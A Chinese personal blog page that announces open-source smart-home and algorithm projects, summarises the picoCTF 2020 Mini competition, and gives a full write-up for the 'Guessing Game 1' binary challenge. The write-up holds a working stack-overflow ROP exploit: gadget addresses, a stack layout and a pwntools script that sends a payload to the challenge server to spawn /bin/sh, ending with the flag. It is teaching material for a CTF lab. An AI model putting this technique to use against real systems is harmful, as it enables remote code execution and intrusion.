新开源项目 - 智能家具系统 和 小米智能家具-米家miio协议c++实现

小米智能家具-米家miio协议c++实现(miio-cpp)

Github仓库
Gitee仓库

miio-cpp使用了C++实现了小米智能家具通信协议。
您可以进行二次开发来适用于您的米家智能家具设备。


智能家具系统(smart-home)

Github仓库
Gitee仓库

smart-home是我的智能家具系统解决方案。
利用交叉编译工具将服务器部署在openwrt路由器上。
可以使用web控制接入的门禁,空调等设备。
您可以进行二次开发来实现您的创意。

《算法导论》算法和题目代码实现

仓库地址:https://github.com/frc123/CLRS-code-solution

上个月开始刷算法导论,看的是英文版。 目前还没有看完(但是下定决心了,至少把非selected topics的全部看完),刷的过程中所有的题都做了。 (单纯看内容还好,题目做的是真的累,基本上做题时间是非做题时间的好多倍)

算法和题目中的需要写代码的全部都使用C++实现了并放到了这个仓库中。 (代码写的有点乱,空了整理下)

非代码实现的题目由于我是写在本子上的,没法提交。 欢迎联系我讨论算法和题目。


更新:
仓库已公开

picoCTF 2020mini 总结和wp索引

总结

picoCTF 2020mini Competition 在10/1开始,10/30结束
本次比赛是由美国卡内基梅隆大学(CMU)主办的一个信息安全竞赛
比赛由谷歌赞助,应该是有奖品的
全球参赛人数4822,完成全部6道挑战题的有50个人
我到21号才发现的,出于好奇就试了下题目,做完感觉就是坑不多,但知识点覆盖的还是相对可以的(肯定没法大规模覆盖,一共就6道题)
由于发现晚了,等我开始的时候已经好多人都结束了,我做完后也就只拿了个48名,还是有点可惜。。。

题目分析和write up索引

Nothing Up My Sleeve

分类:General Skills
这道题真的是送分题,就不给wp了,因为太简单了
题目描述中有一个附件flag.txt,下载下来就是flag了

Pitter, Patter, Platters

分类:Forensics
完成情况:320 solves / 1,825 attempts (18%)
这道题考的是取证,其实也很简单,所以也没wp
主要就是让大家了解下取证思想
简单的来说就是用autospy打开来分析后发现有个文件是包含提示信息的,然后根据提示信息用hex软件搜索下就找到flag了
具体wp也有一个推荐(英文版):https://medium.com/@xploiter/pitter-patter-platters-picoctf2020-writeup-fe30a45b5f5c

Web Gauntlet

分类:Web Exploitation
完成情况:414 solves / 746 attempts (55%)
这道题考的是sql注入,有意思的是,需要注入5轮,并且每轮的对注入字符的要求都会越来越严格(会有越来越多的字符被禁止使用)
wp(英文版):https://frc6.com/index.php/archives/42/
wp(中文版):TODO

OTP Implementation

分类:Reverse Engineering
完成情况:163 solves / 853 attempts (19%)
这道题考的是逆向,主要就是要反汇编然后分析算法下,然后找出输入的key
我用的方法比较笨,用了在部分地方用了穷举,我是想不出直接逆向过来的办法,有大佬有办法的话告诉我下非常感谢
wp(英文版):https://frc6.com/index.php/archives/39/
wp(中文版):https://frc6.com/index.php/archives/68/

Gussing Exploitation 1

分类:Binary Exploitation
完成情况:152 solves / 1,156 attempts (13%)
这道题考的通过栈溢出攻击来劫持eip,然后构造ROP链进入shell
wp(英文版):https://frc6.com/index.php/archives/45/
wp(中文版):https://frc6.com/index.php/archives/69/

Gussing Exploitation 2

分类:Binary Exploitation
完成情况:89 solves / 398 attempts (22%)
这道题和上道题一样也是考的通过栈溢出攻击来劫持eip,目的也是进入shell,但是不能使用ROP链了,因为找不到,system的Gadget了,所以采用ret2libc的办法。
覆盖的知识也很多:需要利用格式化字符串漏洞来从栈中泄露canary,再泄露GOT表地址,利用GOT表找到并泄露函数地址,然后用泄露的函数地址确定libc库版本(泄露libc库版本),然后找动态加载的libc基地址,最终算出system/bin/sh的地址,再通过栈溢出漏洞来调用system('/bin/sh')
当然,这只是我用的方法,还有很多别的方法,欢迎交流
wp(英文版):https://frc6.com/index.php/archives/49/
wp(中文版):TODO

最后

英文版write-up也可以再Github找到,喜欢可以加星(谢谢):https://github.com/frc123/CTF/tree/main/picoCTF/2020%20Mini%20Competition

谢谢阅读

Guessing Game 1 wp (Chinese ver.)

picoCTF - 2020 - Guessing Game 1 write-up

前言

新手可能不清楚pwn是什么

”Pwn”是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——百度百科

简单的说,就是想办法入侵远程服务器,通常以进入shell为目的
本题适合了解程序运行原理的ctf新手(至少得知道为什么返回地址在栈里面)(不了解的话能看懂这篇也了解了,可以接着往下看,遇到不懂的马上搜)
学汇编推荐王爽的汇编语言,虽然是16位dos(我就是用这个学的基础)
里面遇到了不懂的名词(例如ROP,Gadgets)都可以直接百度搜,本writeup更多的是给出方向防止走弯路

题目

来源

https://play.picoctf.org/practice/challenge/90?originalEvent=3&page=1

描述

I made a simple game to show off my programming skills. See if you can beat it!
Gussing Game 1.zip
nc jupiter.challenges.picoctf.org 28953

工具

IDA
VM - Kali Linux
Python
ROPgadget

分析

知识点

Binary Exploitation
Return-oriented programming (ROP)
分析一下,这个题目的目的是要在远程服务器上执行 execve("/bin/sh",NULL,NULL)
由于checksec发现nx被启用了,所以打消用shellcode的想法吧
(栈不可执行)
简单分析下,发现可以构造Gadgets链来做ROP

漏洞

分析 vuln.c 后发现存在 栈溢出 漏洞:

void win() {
    char winner[BUFSIZE];
    printf("New winner!

Name? ");

    fgets(winner, 360, stdin);//overflow vuln
    printf("Congrats %s

", winner);

}

我们需要利用漏洞来栈溢出,这样我们就能劫持 eip 的控制权了

Gadgets

利用ROPgadget找到Gadgets来构造链

运行以下命令

ROPgadget --binary vuln --only "pop|ret"
ROPgadget --binary vuln --only "mov|ret"
ROPgadget --binary vuln --only "syscall|ret"

我们的目标是执行execve("/bin/sh",NULL,NULL)
所以发现以下有用的gadgets:

0x00000000004163f4 : pop rax ; ret
0x000000000044a6b5 : pop rdx ; ret
0x0000000000400696 : pop rdi ; ret
0x0000000000436393 : mov qword ptr [rdi], rdx ; ret
0x000000000044cc49 : pop rdx ; pop rsi ; ret
0x000000000040137c : syscall

反汇编

do_stuff()

在第一次猜数字中输入 "84" (只要输入正确一次就能进入win()函数了)

Q: 为什么是 "84"
A: 我们可以利用动态调试器 (IDA debugger 或 GDB) :
我是使用IDA的远程调试功能连接了vmware虚拟机进行调试的
在这里设置一个断点:

.text:0000000000400BBC                 mov     [rbp+var_ans], rax

我们会发现 rax 将会等于84

win()

.text:0000000000400C40                 public win
.text:0000000000400C40 win             proc near               ; CODE XREF: main+70↓p
.text:0000000000400C40
.text:0000000000400C40 winner          = byte ptr -70h
.text:0000000000400C40
.text:0000000000400C40 ; __unwind {
.text:0000000000400C40                 push    rbp
.text:0000000000400C41                 mov     rbp, rsp
.text:0000000000400C44                 sub     rsp, 70h
.text:0000000000400C48                 lea     rdi, aNewWinnerName ; "New winner!

Name? "

.text:0000000000400C4F                 mov     eax, 0
.text:0000000000400C54                 call    printf
.text:0000000000400C59                 mov     rdx, cs:stdin
.text:0000000000400C60                 lea     rax, [rbp+winner]
.text:0000000000400C64                 mov     esi, 168h
.text:0000000000400C69                 mov     rdi, rax
.text:0000000000400C6C                 call    fgets
.text:0000000000400C71                 lea     rax, [rbp+winner]
.text:0000000000400C75                 mov     rsi, rax
.text:0000000000400C78                 lea     rdi, aCongratsS ; "Congrats %s

"

.text:0000000000400C7F                 mov     eax, 0
.text:0000000000400C84                 call    printf
.text:0000000000400C89                 nop
.text:0000000000400C8A                 leave
.text:0000000000400C8B                 retn
.text:0000000000400C8B ; } // starts at 400C40
.text:0000000000400C8B win             endp

函数的返回地址被储存在 rbp+8, 所以通过栈溢出来覆盖(重写)它就可以达到劫持 eip 的目标

ROP: Gadgets

我们计划在劫持eip(win()返回后)执行以下汇编(组成以下的Gadgets链)

ret        (retn of win() at .text:0000000000400C8B)
pop rax
ret
pop rdx
ret
pop rdi
ret
mov qword ptr [rdi], rdx
ret
pop rdx
pop rsi
ret
syscall

为了成功执行 execve("/bin/sh",NULL,NULL) , rax 得在 syscall 执行时等于 59 , rdi 应该是一个指向字符串 "/bin/sh" 的指针, rsirdx 应该等于 0 (NULL).

所以我们计划让栈变成这样:

rbp+8                0x00000000004163f4                        Address of one of Gadget
rbp+10h                59                                        rax
rbp+18h                0x000000000044a6b5                        Address of one of Gadget                        
rbp+20h                "/bin/sh"                                rdx (temporary use; will be overwrite later)
rbp+28h                0x0000000000400696                        Address of one of Gadget
rbp+30h                0x00000000006BA770                        rdi
rbp+38h                0x0000000000436393                        Address of one of Gadget
rbp+40h                0x000000000044cc49                        Address of one of Gadget
rbp+48h                0                                        rdx
rbp+50h                0                                        rsi
rbp+58h                0x000000000040137c                        syscall

远程执行来找Flag: Python

运行以下的python程序(你需要pwntools库):

from pwn import *

sh = remote('jupiter.challenges.picoctf.org',50583)

p = make_packer('all', endian='big', sign='unsigned')
p64 = make_packer(64, endian='little', sign='unsigned')

payload = p(0x90)*(0x70+8)        #rbp-70h
payload += p64(0x4163f4)        #rbp+8h
payload += p64(59)                        #rbp+10h
payload += p64(0x44a6b5)        #rbp+18h
payload += p(0x2F62696E2F736800)        #rbp+20h
payload += p64(0x400696)        #rbp+28h
payload += p64(0x6BA770)        #rbp+30h
payload += p64(0x436393)        #rbp+38h
payload += p64(0x44cc49)        #rbp+40h
payload += p64(0)                        #rbp+48h
payload += p64(0)                        #rbp+50h
payload += p64(0x40137c)        #rbp+58h

sh.recvuntil('guess?

')

sh.sendline(p(0x3834))#84

sh.recvuntil('

Name? ')

sh.sendline(payload)

sh.interactive()

result.png

所以Flag是 picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_1ed68bc5575f6be1}

最后的话

谢谢阅读!(欢迎交流)